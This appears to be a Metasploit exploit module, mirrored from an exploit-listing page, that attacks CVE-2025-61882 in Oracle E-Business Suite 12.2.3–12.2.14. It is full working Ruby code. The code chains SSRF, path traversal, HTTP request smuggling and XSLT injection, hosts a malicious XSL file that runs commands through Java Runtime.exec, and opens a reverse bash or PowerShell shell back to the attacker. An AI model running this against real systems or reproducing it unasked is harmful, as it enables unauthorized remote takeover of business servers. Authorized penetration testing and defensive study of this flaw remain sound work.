Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-ORACLE_EBS_CVE_2025_61882_EXPLOIT_RCE-
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Retry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle E-Business Suite CVE-2025-61882 RCE',
        'Description' => %q{
          This module exploits CVE-2025-61882 in Oracle E-Business Suite
          by combining SSRF, Path Traversal, HTTP request smuggling and XSLT injection.

          The exploit hosts a malicious XSL file
          that the target will fetch and process, leading to RCE.

          This module provides an interactive shell session.
          Vulnerable versions affected are 12.2.3-12.2.14.
        },
        'Author' => [
          'watchTowr (Sonny, Sina Kheirkhah, Jake Knott)', # Original Python POC and blog Article
          'Mathieu Dupas' # Metasploit module development
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-61882'],
          [
            'URL',
            'https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/'
          ],
          ['URL', 'https://www.oracle.com/security-alerts/alert-cve-2025-61882.html']
        ],
        'Targets' => [
          [
            'Linux/Unix (Interactive Shell)',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
                # Simple payload but feel free to use meterpreter ones if needed
              }
            }
          ],
          [
            'Windows (Interactive Shell)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/reverse_powershell'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-10-04',
        'DefaultOptions' => {
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(8000),
      OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
      OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
      OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
      OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])
    ])
  end

  def check
    vprint_status('Checking if target is vulnerable...')

    return CheckCode::Safe('Oracle E-Business Suite not detected') unless oracle_ebs_detected?

    csrf_token = retrieve_csrf_token
    return CheckCode::Unknown('Failed to retrieve CSRF token') unless csrf_token

    return CheckCode::Appears('The target appears to be vulnerable') if vulnerable_servlet_accessible?(csrf_token)

    CheckCode::Safe('Vulnerable servlet is not accessible')
  end

  # Serve malicious XSLT file
  def on_request_uri(cli, request)
    print_good("Received request: #{request.method} #{request.uri} from #{cli.peerhost}:#{cli.peerport}")

    if request.uri.include?('.xsl')
      print_good("Serving  XSL payload to #{cli.peerhost}...")

      xsl_content = generate_xsl_payload

      send_response(cli, xsl_content, {
        'Content-Type' => 'application/xml',
        'Content-Length' => xsl_content.length.to_s,
        'Connection' => 'close'
      })

      # Mark XSL file as served
      @xsl_served = true
      print_good("XSL payload delivered successfully to #{cli.peerhost} (#{xsl_content.length} bytes)")

    else
      print_warning("Unexpected request for #{request.uri}, #{cli.peerhost} sending 404")
      send_not_found(cli)
    end
  end

  def generate_xsl_payload
    command = payload.encoded
    vprint_status("Generated command: #{command}")

    # Adapt the command to the platform
    base_cmd = case target['Platform']
               when 'win'
                 ['cmd.exe', '/c']
               else
                 ['sh', '-c']
               end

    # Escaping apostrophes and backslashes
    escaped_command = command.gsub('\\', '\\\\\\\\').gsub("'", "\\\\'")

    js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
    # JavaScript code that will be executed server side via XSLT
    js = %|
    var #{js_vars[:string_c]} = java.lang.Class.forName('java.lang.String');
    var #{js_vars[:cmds]} = java.lang.reflect.Array.newInstance(#{js_vars[:string_c]}, 3);
    java.lang.reflect.Array.set(#{js_vars[:cmds]}, 0, '#{base_cmd[0]}');
    java.lang.reflect.Array.set(#{js_vars[:cmds]}, 1, '#{base_cmd[1]}');
    java.lang.reflect.Array.set(#{js_vars[:cmds]}, 2, '#{escaped_command}');
    var #{js_vars[:run_time]} = java.lang.Runtime.getRuntime();
    var #{js_vars[:proc]} = #{js_vars[:run_time]}.exec(#{js_vars[:cmds]});
    1
    |

    # Encode in base64 to avoid problems with XML parsing
    encoded_js = Rex::Text.encode_base64(js)

    # Generate XSLT
    %|<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
    <xsl:template match="/">
        <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'#{encoded_js}')"/>
        <xsl:variable name="js" select="str:new($bs)"/>
        <xsl:variable name="m" select="jsm:new()"/>
        <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
        <xsl:variable name="code" select="eng:eval($e, $js)"/>
        <xsl:value-of select="$code"/>
    </xsl:template>
</xsl:stylesheet>|
  end

  def exploit
    @xsl_served = false
    @session_created = false

    # Step 1 : Start HTTP server for XSL file serving
    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...")
    start_service(
      'Uri' => {
        'Proc' => proc { |cli, request| on_request_uri(cli, request) },
        'Path' => '/'
      }
    )

    # construct server URL
    server_url = get_uri
    xsl_url = "#{server_url}#{Rex::Text.rand_text_alpha(8)}.xsl"
    print_status("XSL payload will be served at: #{xsl_url}")

    # Step 2: Get CSRF token
    print_status('Retrieving CSRF token from target...')
    csrf_token = retrieve_csrf_token

    fail_with(Failure::Unknown, 'Could not retrieve CSRF token') unless csrf_token

    print_good("CSRF token retrieved: #{csrf_token}")

    # Step 3: Smuggle payload
    print_status('Creating HTTP request smuggling payload...')
    smuggle_payload = create_smuggle_payload

    vprint_status("Smuggled payload created (#{smuggle_payload.length} bytes)")

    # Step 4: Send exploit request
    print_status('Triggering exploitation via UiServlet...')
    send_exploit_request(smuggle_payload)

    # Step 5: Wait for XSLT file download
    print_status("Keeping HTTP server alive, waiting for callback to #{datastore['LHOST']}:#{datastore['LPORT']}...")

    begin
      # Wait for XSL request
      retry_until_truthy(timeout: datastore['HTTP_TIMEOUT']) do
        @xsl_served
      end

      # Wait for shell connection
      print_status("Waiting up to #{datastore['SHELL_TIMEOUT']} seconds for reverse shell connection...")
      retry_until_truthy(timeout: datastore['SHELL_TIMEOUT']) do
        session_created?
      end

      print_good('Session created successfully!')
      @session_created = true
    rescue ::Timeout::Error
      if !@xsl_served
        print_error("XSL request timeout (#{datastore['HTTP_TIMEOUT']}s) expired")
      else
        print_error("Shell timeout (#{datastore['SHELL_TIMEOUT']}s) expired")
      end
    end
  end

  def retrieve_csrf_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
      'keep_cookies' => true
    })

    return nil unless res

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
      'headers' => {
        'CSRF-XHR' => 'YES',
        'FETCH-CSRF-TOKEN' => '1'
      },
      'keep_cookies' => true
    })

    if res && res.code == 200 && res.body
      parts = res.body.split(':')
      return parts[1].strip if parts.length >= 2
    end

    nil
  rescue ::Rex::ConnectionError, ::Timeout::Error => e
    vprint_error("Connection failed: #{e.class}")
    nil
  end

  def create_smuggle_payload
    netloc = Rex::Socket.to_authority(srvhost_addr, srvport)

    smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n"
    smuggle_request += "Host: #{netloc}\r\n"
    smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n"
    smuggle_request += "Connection: keep-alive\r\n"

    # Add sessions cookies
    cookies = get_cookies
    smuggle_request += "Cookie: #{cookies}\r\n" if cookies && !cookies.empty?

    # Add POST request via CRLF
    smuggle_request += "\r\n\r\n\r\nPOST /"

    vprint_status("Smuggled request will target: #{netloc}")
    vprint_status('Full smuggled request:')
    vprint_line(smuggle_request) if datastore['VERBOSE']

    # Encode payload in HTML entities
    cook_smuggle_stub(smuggle_request)
  end

  def cook_smuggle_stub(payload)
    payload = payload.sub(/^(?:POST|GET) /, '')

    # Encode in HTML entities
    Rex::Text.html_encode(payload)
  end

  def send_exploit_request(encoded_payload)
    # Encoded payload is inserted in return_url (SSRF)

    xml = %(<?xml version="1.0" encoding="UTF-8"?>\
    <initialize>\
    <param name="init_was_saved">test</param>\
    <param name="return_url">http://apps.example.com:7201#{encoded_payload}</param>\
    <param name="ui_def_id">0</param>\
    <param name="config_effective_usage_id">0</param>\
    <param name="ui_type">Applet</param>\
    </initialize>)

    vprint_status('Sending exploit to UiServlet...')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
      'vars_post' => {
        'redirectFromJsp' => '1',
        'getUiType' => xml
      },
      'keep_cookies' => true
    })

    if res
      vprint_status("UiServlet responded with: #{res.code}")
      vprint_status("Response body length: #{res.body.length} bytes") if res.body
    else
      print_warning('No response from UiServlet (this might be normal)')
    end

    res
  end

  def get_cookies
    cookies = []
    cookie_jar.cookies.each do |cookie|
      cookies << "#{cookie.name}=#{cookie.value}"
    end
    cookies.join('; ')
  end

  def oracle_ebs_detected?
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp')
    })

    res && (res.headers['Server']&.include?('Oracle') ||
            res.body&.include?('Oracle')) # maybe to adapt for different versions. Fully Tested on version 12.2.12
  rescue StandardError
    false
  end

  def vulnerable_servlet_accessible?(_csrf_token)
    test_xml = '<?xml version="1.0" encoding="UTF-8"?>' \
               '<initialize>' \
               '<param name="init_was_saved">test</param>' \
               '<param name="return_url">http://example.com/test</param>' \
               '<param name="ui_def_id">0</param>' \
               '<param name="config_effective_usage_id">0</param>' \
               '<param name="ui_type">Applet</param>' \
               '</initialize>'

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
      'vars_post' => {
        'redirectFromJsp' => '1',
        'getUiType' => test_xml
      },
      'keep_cookies' => true
    })

    res && [200, 302].include?(res.code)
  rescue StandardError
    false
  end
end